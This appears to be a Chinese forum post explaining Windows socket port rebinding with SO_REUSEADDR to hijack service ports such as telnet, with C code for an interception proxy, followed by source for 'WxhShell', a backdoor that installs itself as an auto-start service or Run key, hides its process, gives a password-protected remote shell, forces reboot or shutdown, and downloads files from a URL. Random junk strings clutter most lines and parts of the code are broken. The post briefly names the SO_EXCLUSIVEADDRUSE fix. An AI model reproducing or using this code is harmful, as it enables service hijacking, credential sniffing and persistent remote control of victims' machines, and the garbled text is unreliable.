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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: e{EKM4  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >x9@ if  
{$-lXw4  
  saddr.sin_family = AF_INET; Hb55RilC  
D_]4]&QYT  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); -N $4\yp  
:[xFp}w{  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); uH="l.u  
F$.h+v   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Rsd~t_a1  
lHerEv<ja  
  这意味着什么?意味着可以进行如下的攻击: <|8N\FU{  
1Bp?HyCR  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 td JA?  
*eL&fC  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @rI+.X  
"A\h+q-  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @( p9}  
5,  "  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  )-VpDW!%_  
kn<IWW_t  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 o5LyBUJ  
*lyy|3z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 sB`.G  
e}>3<Dh  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]Y111<Ja  
W5cBT?V  
  #include RT`.S uN  
  #include D=1:-aLP7  
  #include f$1&)1W[  
  #include    [wOz<<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   CGw,RNV  
  int main() #djby}hi  
  { m&vuBb3  
  WORD wVersionRequested; RwKnNIp  
  DWORD ret; >vQ8~*xd  
  WSADATA wsaData; 8! eYax   
  BOOL val; [GQn1ZLc  
  SOCKADDR_IN saddr; FxU a5 n  
  SOCKADDR_IN scaddr; Fi)(~ji:  
  int err; RK )1@Tz7!  
  SOCKET s; jKr\mb  
  SOCKET sc; P^[eTR*?  
  int caddsize; AS4mJ UU9  
  HANDLE mt; 4}4cA\B:n  
  DWORD tid;   5tx!LGOK  
  wVersionRequested = MAKEWORD( 2, 2 ); ":@\kw  
  err = WSAStartup( wVersionRequested, &wsaData ); ~'1gX`o:  
  if ( err != 0 ) { *!oV?N[eA'  
  printf("error!WSAStartup failed!\n"); Yo%ph%e  
  return -1; HpP82X xj  
  } &?g!)O  
  saddr.sin_family = AF_INET; $Mg[e*ct  
   E<RPMd @a  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 fofYe0z  
MHj RPh  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");   6a}  
  saddr.sin_port = htons(23); w1Txz4JqB  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qXqGhHoe;  
  { U}T{r%9  
  printf("error!socket failed!\n"); moS0y?N  
  return -1; QjOO^6Fh  
  } tNoPpIu  
  val = TRUE; CiWz>HWH  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 L:j3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) d! {]CZ"@  
  { 4SVIdSA  
  printf("error!setsockopt failed!\n"); j%+>y;).  
  return -1; \)$:  
  } @*Tql:Qcd^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >piVi[`  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3 C{A  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 PI\C*_.  
'VgEf:BS  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "?%2`*\  
  { TB}6iIe  
  ret=GetLastError();  T<oDLJA\  
  printf("error!bind failed!\n"); S-'R84M,F  
  return -1; R_^0Un([  
  } +Jm~Um!  
  listen(s,2); Z_U4Yy'NNw  
  while(1) +Tt.5>N  
  { mq}V @H5  
  caddsize = sizeof(scaddr); n g%~mt  
  //接受连接请求 ui RO,B}z  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); .8wf {y  
  if(sc!=INVALID_SOCKET) ZJe^MnE (G  
  { `^ZhxFX  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Gg e X  
  if(mt==NULL) 9;7Gzr6A"  
  { O!!N@Q2g  
  printf("Thread Creat Failed!\n"); '8Cg2v5&w  
  break; av&~A+b .r  
  } v-Tkp Yn  
  } H-rxn  
  CloseHandle(mt); NX4G;+6  
  } c=,HLHpFO(  
  closesocket(s); =MU(!`  
  WSACleanup(); ]ur?i{S,  
  return 0; H +' 6*akV  
  }   |\2>n!  
  DWORD WINAPI ClientThread(LPVOID lpParam) vBzUuX  
  { qv^P  
  SOCKET ss = (SOCKET)lpParam; e%s1D  
  SOCKET sc; AL!ppi  
  unsigned char buf[4096]; "1$X5?%  
  SOCKADDR_IN saddr; 0qINa:Ori  
  long num; e"y-A&|  
  DWORD val; r]@T9\9  
  DWORD ret; !(Ymc_s  
  //如果是隐藏端口应用的话,可以在此处加一些判断 X1HEeJ|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   }.a{;{y  
  saddr.sin_family = AF_INET; x<h|$$4S  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); '_b3m2I.G  
  saddr.sin_port = htons(23); R_D&"&   
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C$p012D1  
  { ~&?57Sw*m  
  printf("error!socket failed!\n"); X J`*dgJ  
  return -1; =r4sF!g  
  } Mz.C`Z>o  
  val = 100; NH;e|8  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f&j\gYWq  
  { A9lw^.  
  ret = GetLastError(); %~I&T". iC  
  return -1; |8pSMgN  
  } #+QJ5VI :  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uI$n7\G!  
  { ~!S/{Un   
  ret = GetLastError(); Llkh kq_  
  return -1; IQ$!y,VJ  
  } SwsJ<Dq^z  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) wFF,rUV  
  { eR4ib-nS  
  printf("error!socket connect failed!\n"); :zX^H9'E<(  
  closesocket(sc); No"i6R+  
  closesocket(ss); x <a}*8"  
  return -1; A_l\ij$Y  
  } : tBe/(e4#  
  while(1) =;+gge!?bB  
  { [[HCP8Wk   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 B{b?j*fHJ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 O:sqm n  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 O=t~.]))  
  num = recv(ss,buf,4096,0); ~5&B#Sm[G  
  if(num>0) \61H(,  
  send(sc,buf,num,0); )!kt9lK  
  else if(num==0) &@,lF{KTL  
  break; ZJF"Yo  
  num = recv(sc,buf,4096,0); pV(k6h  
  if(num>0) Z^]jy>dj  
  send(ss,buf,num,0); c(uD kX  
  else if(num==0) }W@refS  
  break; #8sy QWlG  
  } ]isq}Qv~  
  closesocket(ss); >|, <9z`D  
  closesocket(sc); ~;jgl_5?b  
  return 0 ; 7m  ou  
  } vp2w^/])u  
-.r"|\1X  
TFG? EO  
========================================================== D_?Tj  
ZR -RzT1  
下边附上一个代码,,WXhSHELL u(FOSmNkN  
!zt>& t  
========================================================== `-%dHvB^R  
g4=C]\1  
#include "stdafx.h" IqV" 4  
e,{k!BXU#'  
#include <stdio.h> ysZ(*K n(?  
#include <string.h> '$Z@oCY#  
#include <windows.h> [0qswsV  
#include <winsock2.h> K>vl o/#!  
#include <winsvc.h> L*dGo,oN  
#include <urlmon.h> a_bZT4  
$3B%4#s  
#pragma comment (lib, "Ws2_32.lib") \#JXch  
#pragma comment (lib, "urlmon.lib") <p CD>  
p6NPWaBR  
#define MAX_USER   100 // 最大客户端连接数 unc6 V%  
#define BUF_SOCK   200 // sock buffer yZ{N$ch5b  
#define KEY_BUFF   255 // 输入 buffer p:4-b"O  
? A;RTM  
#define REBOOT     0   // 重启 O:8 u^ TP  
#define SHUTDOWN   1   // 关机 h<)ceD<,  
C+P.7]?&  
#define DEF_PORT   5000 // 监听端口 rHjDf[5+  
C[<{>fl)  
#define REG_LEN     16   // 注册表键长度 6\u. [2lE^  
#define SVC_LEN     80   // NT服务名长度 p+<qI~  
V )Oot|  
// 从dll定义API V dvj*I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  ]Tb?z&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xI<B)6D;f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,tQN L\t  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :-#7j} R&  
<{8x-zbR+  
// wxhshell配置信息 MM]0}65KG  
struct WSCFG { M"W#_wY;  
  int ws_port;         // 监听端口 BKO^ux%  
  char ws_passstr[REG_LEN]; // 口令 )b (+=  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4W|cIcU W  
  char ws_regname[REG_LEN]; // 注册表键名 @{#'y4\>  
  char ws_svcname[REG_LEN]; // 服务名 P=1K u|k  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7FkiT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 iDX<`)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 50|nQ:u,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *J]p/<> {  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \ a7m!v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 IJKdVb~   
(^W :f{  
}; ;hODzfNkS  
P`O`Mw EAf  
// default Wxhshell configuration 8 e_]  
struct WSCFG wscfg={DEF_PORT, pGD-K41O]  
    "xuhuanlingzhe", $[b}r#P  
    1, f+ZOE?"  
    "Wxhshell", +zbCYA  
    "Wxhshell", :R +BC2x  
            "WxhShell Service", F WU >WHX  
    "Wrsky Windows CmdShell Service", </ "Wh4>C  
    "Please Input Your Password: ", N%'(8%;  
  1, [kpQ:'P3  
  "http://www.wrsky.com/wxhshell.exe", $L( ,lB  
  "Wxhshell.exe" mE1Vr  
    }; #tpz74O  
!<=(/4o&P  
// 消息定义模块 ]mi\Y"RO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7[0Mr,^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; RhmkpboucC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ctHQZ#.[(  
char *msg_ws_ext="\n\rExit."; o3\^9-jmp  
char *msg_ws_end="\n\rQuit."; uPbdzUk$  
char *msg_ws_boot="\n\rReboot..."; _-H,S)kI`  
char *msg_ws_poff="\n\rShutdown..."; Vt \g9-[  
char *msg_ws_down="\n\rSave to "; ?Fl O,|   
9{ge U9&Z  
char *msg_ws_err="\n\rErr!"; U[Sh){4j  
char *msg_ws_ok="\n\rOK!"; <+r~?X_  
p5OoDo  
char ExeFile[MAX_PATH]; qc.TYp  
int nUser = 0; !5h-$;  
HANDLE handles[MAX_USER]; |OAiHSW"V  
int OsIsNt; BMQ4i&kF|  
~|, "w90  
SERVICE_STATUS       serviceStatus; 6AdUlPM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Drf Au  
#@w/S:KbJt  
// 函数声明 A'uaR?  
int Install(void); 7O%^4D  
int Uninstall(void); ooB9i No^  
int DownloadFile(char *sURL, SOCKET wsh); %-$ :/ N  
int Boot(int flag); ^8bc<c:P  
void HideProc(void); jj;TS%  
int GetOsVer(void); %Qb}z@>fJk  
int Wxhshell(SOCKET wsl); D3,)H%5.y  
void TalkWithClient(void *cs); G9xO>Xp^Al  
int CmdShell(SOCKET sock); ZwY mR=  
int StartFromService(void); js;YSg{m  
int StartWxhshell(LPSTR lpCmdLine); ,4XOe,WQ  
gBWr)R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c;]^aaQ+>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W5Jy"]^I  
3TeRZ=2:*x  
// 数据结构和表定义 9bRUN<  
SERVICE_TABLE_ENTRY DispatchTable[] = /*e<r6  
{ 6{udNv X  
{wscfg.ws_svcname, NTServiceMain}, nLwfPj  
{NULL, NULL} vg3iT }  
}; eHKb`K7C.  
|"KdW#.x  
// 自我安装 ge%QbU1J  
int Install(void) 4Ozcs'}  
{ IY[qWs  
  char svExeFile[MAX_PATH];  u+z  
  HKEY key; W`oyDg,D  
  strcpy(svExeFile,ExeFile); K?e16;   
[~cz| C#  
// 如果是win9x系统,修改注册表设为自启动 K0o${%'@7  
if(!OsIsNt) { ?IS[2 v$   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +_vf=d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?G7*^y&Q  
  RegCloseKey(key); @c"s6h&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c;(Fz^&_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5kWzD'!^  
  RegCloseKey(key); vA Z kT"  
  return 0; @].!}tz  
    } \ kY:|T  
  } z{PPPFk4J  
} }X=c|]6i^  
else { Uc ,..  
U|.r -$|5P  
// 如果是NT以上系统,安装为系统服务 ps8tr:T^=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'r_Fi5[q  
if (schSCManager!=0) 7@e}rh?N-|  
{ ^.g-}r8,  
  SC_HANDLE schService = CreateService ~,)D n  
  ( 7I]?:%8 h  
  schSCManager, x./"SQ=R+  
  wscfg.ws_svcname, t5i58@{~  
  wscfg.ws_svcdisp, %[~g84@  
  SERVICE_ALL_ACCESS, (M u;U!M"P  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vg@5`U`^h  
  SERVICE_AUTO_START, kEAF1RP:  
  SERVICE_ERROR_NORMAL, r~7}w4U  
  svExeFile, yA*U^:%  
  NULL, bUM4^m  
  NULL, 5A 5t  
  NULL, "+`u ]  
  NULL, "Y5 :{Kj  
  NULL cD!E.2[  
  ); c05-1  
  if (schService!=0) u0)9IZxc  
  { vr?u=_%Z  
  CloseServiceHandle(schService); ./.aLTh  
  CloseServiceHandle(schSCManager); P|lDW|}D@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O8v9tGZoh  
  strcat(svExeFile,wscfg.ws_svcname); lx2%=5+i;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lt]&o0>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); CK|AXz+EN  
  RegCloseKey(key); VG$;ri>  
  return 0; z%JN|5  
    } p/7'r  
  } O}2/w2n  
  CloseServiceHandle(schSCManager); e0ni  
} eLgq )  
} XDyo=A]  
v_v>gPl,  
return 1; & @_PY  
} nUX3a'R  
<4@8T7  
// 自我卸载 m#O; 1/P  
int Uninstall(void) (]&B' 1b  
{ 9H:J&'Xi7  
  HKEY key; Ly2!(,FB.  
]BRwJ2< x  
if(!OsIsNt) { :9x]5;ma  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i-p,x0th  
  RegDeleteValue(key,wscfg.ws_regname); f w)tWJVD  
  RegCloseKey(key); p0l.f`B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VQ2'a/s  
  RegDeleteValue(key,wscfg.ws_regname); M$>Nd6,@N  
  RegCloseKey(key); '^7UcgugB  
  return 0; Qgf|obrEi6  
  } &m9= q|;m  
} BXxJra/V  
} vo)W ziHh  
else { (Nd)$Oq[4  
hPGDN\#LD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); " s_S!;w@  
if (schSCManager!=0) oOubqx  
{ Z0'LD<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =;) =,+V~q  
  if (schService!=0) Buq(L6P9r  
  { EKN<KnU%  
  if(DeleteService(schService)!=0) { i$ hWX4L  
  CloseServiceHandle(schService); QR~4Fe  
  CloseServiceHandle(schSCManager); n+<  
  return 0; ,VUOsNN4\  
  } /|h+,]< >  
  CloseServiceHandle(schService); YD9vWk \/  
  } u$ci{<  
  CloseServiceHandle(schSCManager); 'IVC!uL,%  
} {,T=Siy  
} k.)YFKi  
'dzbeTJ D5  
return 1; \'('HFr,  
} T?jN/}qg  
tO1k2<Z"Y&  
// 从指定url下载文件 4 CiRh  
int DownloadFile(char *sURL, SOCKET wsh) /!6 VP |  
{ H0t#J  
  HRESULT hr; 42,dHYdt  
char seps[]= "/"; u%1JdEWZd  
char *token; Yb[)ETf^  
char *file; a~JZc<ze  
char myURL[MAX_PATH]; **AkpV)  
char myFILE[MAX_PATH]; U%#Vz-r  
4&e<Sc64  
strcpy(myURL,sURL); maQxU(  
  token=strtok(myURL,seps); e8xNZG;  
  while(token!=NULL) Pd `~#!  
  { xH,e$t#@@~  
    file=token; 0lOan  
  token=strtok(NULL,seps); |m*l/@1  
  } >lek@euqw  
I)r6*|mz  
GetCurrentDirectory(MAX_PATH,myFILE); e85E+S%  
strcat(myFILE, "\\"); MAX?,- x  
strcat(myFILE, file); KZ65# UVX  
  send(wsh,myFILE,strlen(myFILE),0); gF2 93Ez  
send(wsh,"...",3,0); q%]5/.J  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); e~,+rM  
  if(hr==S_OK) V!TGFo}  
return 0; opzlh@R 3  
else _o+OkvhU  
return 1; 8)Vl2z  
qAlX#]  
} HB.:/ 5\  
-sDl[  
// 系统电源模块 gdyWuOxa|  
int Boot(int flag) Zm6jF  
{ 'r-B%D=  
  HANDLE hToken; W&I:z-VH  
  TOKEN_PRIVILEGES tkp; ?LvU7  
&Akw V-  
  if(OsIsNt) { 30sA\TZ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {S@, ,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :zO;E+s  
    tkp.PrivilegeCount = 1; '*&V7:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wLE|J9t%Ea  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o{hZjn-  
if(flag==REBOOT) {  3(*vZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i_`Po%   
  return 0; z t!>  
} Ia{t/IX\[  
else { ?a?4;Y!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Pe11a zJ  
  return 0; ]]_c3LJ2`  
} dww4o~hO  
  } 8LuU2Lo  
  else { 2<AQ{ c  
if(flag==REBOOT) { ew c:-2Y^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) oJE<}~_k  
  return 0; N>sHT =_  
} :Z83*SPc  
else { u2I@ fH/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a |]}uFr  
  return 0; D&],.N  
} c% ?@3d  
} P/k#([:2  
G \$x.  
return 1; =4!m] *y  
} ^0I"  
M3JV^{O/DV  
// win9x进程隐藏模块 `bLJ wJ7  
void HideProc(void) 9 "M-nH*<  
{ -&%! 4(Je  
.+lx}#-#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tTt}=hQpgX  
  if ( hKernel != NULL ) c2Y\bKeN  
  { e%7#e%1s  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |a'$v4dCF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $HRl:KDdP~  
    FreeLibrary(hKernel); gS|6,A9  
  } rTST_$"_6  
01]W@ \(  
return; F"23v G>3  
} N~?#Qh|ZnU  
jPc,+?  
// 获取操作系统版本 :C&6M79k  
int GetOsVer(void) Cw5 B p9  
{ nLrCy5R:  
  OSVERSIONINFO winfo; @j(2tJ,w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6"r _Y7%  
  GetVersionEx(&winfo); :/>Zky8,k  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {aU|BdATI  
  return 1; F"' (i  
  else T w1&<S  
  return 0; wRX#^;O9?>  
} 'Awd:Aed5  
DTdqwe6pi  
// 客户端句柄模块 <J}JYT  
int Wxhshell(SOCKET wsl) =66'33l2  
{ n6 c+Okj  
  SOCKET wsh; $KoGh_h   
  struct sockaddr_in client; <?Z]h]C^o  
  DWORD myID; e Zg>]<L  
|h.@Xy  
  while(nUser<MAX_USER) g-/ }*m l  
{ , $cpm=1  
  int nSize=sizeof(client); %T}*DC$&S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oC3W_vH.%  
  if(wsh==INVALID_SOCKET) return 1; og4mLoLA  
L/N%ft]!T  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dTwYDV}:  
if(handles[nUser]==0) fK^;?4  
  closesocket(wsh); A":cS }Ui  
else JE eXoGKd  
  nUser++; 2LCOB&-Ww  
  } S++jwP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #aE>-81SS&  
mWMtz]M}  
  return 0; 1>bNw-kz7  
} +h1X-K:I  
yy`XtJBWWs  
// 关闭 socket gL7rX aj  
void CloseIt(SOCKET wsh) 7oCY@>(f  
{ z)u\(W*\iA  
closesocket(wsh); 8rLhOA  
nUser--; A^\g]rmK  
ExitThread(0); ?lU(FK  
} AU8sU?=  
8/"C0I (G  
// 客户端请求句柄 qtz~Y~h|>  
void TalkWithClient(void *cs) /.t1Ow  
{ wEU=R>j.  
#9HX"<5  
  SOCKET wsh=(SOCKET)cs; M>{*PHze0  
  char pwd[SVC_LEN]; xi)$t#K"  
  char cmd[KEY_BUFF]; zS`KJVm  
char chr[1]; P9jSLM  
int i,j; +iNp8  
(7"CYAe:;  
  while (nUser < MAX_USER) { Y3H5}4QD  
]i>,oxBWe  
if(wscfg.ws_passstr) { ^ h2!u'IQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c1 j@*6B  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G4\|bwh  
  //ZeroMemory(pwd,KEY_BUFF); TRE D_6  
      i=0; 0W)|n9  
  while(i<SVC_LEN) { +$#h6V  
Q5Epq sKyC  
  // 设置超时 kR8,E6Up  
  fd_set FdRead; $gCN[%+j  
  struct timeval TimeOut; *bzqH2h8  
  FD_ZERO(&FdRead); qXoq< |  
  FD_SET(wsh,&FdRead); "z-tL  
  TimeOut.tv_sec=8; rrG}; A  
  TimeOut.tv_usec=0; RW<4",  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &<- S-e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UUGX@  
FgMQ=O2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xZVZYvC,t  
  pwd=chr[0]; R%`fd *g  
  if(chr[0]==0xd || chr[0]==0xa) { #6C<P!]V  
  pwd=0; I [n|#N  
  break; #w si><7   
  } mA^3?y j  
  i++; D/wJF[_  
    } VKSn \HT~  
E *782>  
  // 如果是非法用户,关闭 socket G\~?.s|^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zd{sw}  
} _.I58r  
dt/-0~U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "@t bm[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /bLL!nD=^  
BQB<+o'  
while(1) {   Xi w  
Ny2bMj.o  
  ZeroMemory(cmd,KEY_BUFF); `$vf9'\+  
#L&/o9|  
      // 自动支持客户端 telnet标准   A f}o/g  
  j=0; |<uBJ-5  
  while(j<KEY_BUFF) { g@Rs.Zq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7JBr{3;eS  
  cmd[j]=chr[0]; v<mSd2B*  
  if(chr[0]==0xa || chr[0]==0xd) { apnpy\in  
  cmd[j]=0; #8y"1I=i&  
  break; . "7-f]!  
  } G9@5 !-  
  j++; tqjjn5!  
    } 01NP  
>4os%T  
  // 下载文件 ,V{Bpr  
  if(strstr(cmd,"http://")) { -C* 6>$A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); uavyms^  
  if(DownloadFile(cmd,wsh)) {`(MK6D8 c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); S>jOVWB  
  else E%a&6W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hoi~(Vc.  
  } K#VGG,h7Y  
  else { MeAY\V%G=o  
nQ{~D5y,,  
    switch(cmd[0]) { ^AERGB\36  
  .kJu17!  
  // 帮助 >;%LW} %  
  case '?': { b1%w+*d<z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [ u ^/3N  
    break; +-|}<mq  
  } XD80]@\za  
  // 安装 9Q\RCl_1  
  case 'i': { n(C M)(ozU  
    if(Install()) ;Eh"]V,e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VKg9^%#b`[  
    else kYR ^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xe(]4Ux  
    break; B9H.8+~(  
    } !_W']Crb]]  
  // 卸载 +fq\K]  
  case 'r': { f*T}Ov4  
    if(Uninstall()) PfGiJ]:V-u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !sYZ1;WAO  
    else p\Iy)Y2Lf!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bfkFk  
    break; x'SIHV4M@Q  
    } GB,ub*|  
  // 显示 wxhshell 所在路径 ID,os_ T=  
  case 'p': { rje;Bf  
    char svExeFile[MAX_PATH]; lA`-"  
    strcpy(svExeFile,"\n\r"); ]cMZ7V^  
      strcat(svExeFile,ExeFile); 9fO E .  
        send(wsh,svExeFile,strlen(svExeFile),0); wB+F/]]|N  
    break; *z0 R f;  
    } ;ULw-&]P  
  // 重启 %Z8pPH~T  
  case 'b': { v?n# C  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T7l,}G  
    if(Boot(REBOOT)) p4kK" \ln  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7Q,<h8N\5  
    else { zvfdfQ-i  
    closesocket(wsh); 2#cw_Ua  
    ExitThread(0); B~,?Gbl+g  
    } G;U SVF-'K  
    break; 0T 0I<t  
    } K1-RJj\L  
  // 关机 i~*6JB|  
  case 'd': { *z_`$Y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =5:kV/p  
    if(Boot(SHUTDOWN)) 6j|~oMYP  
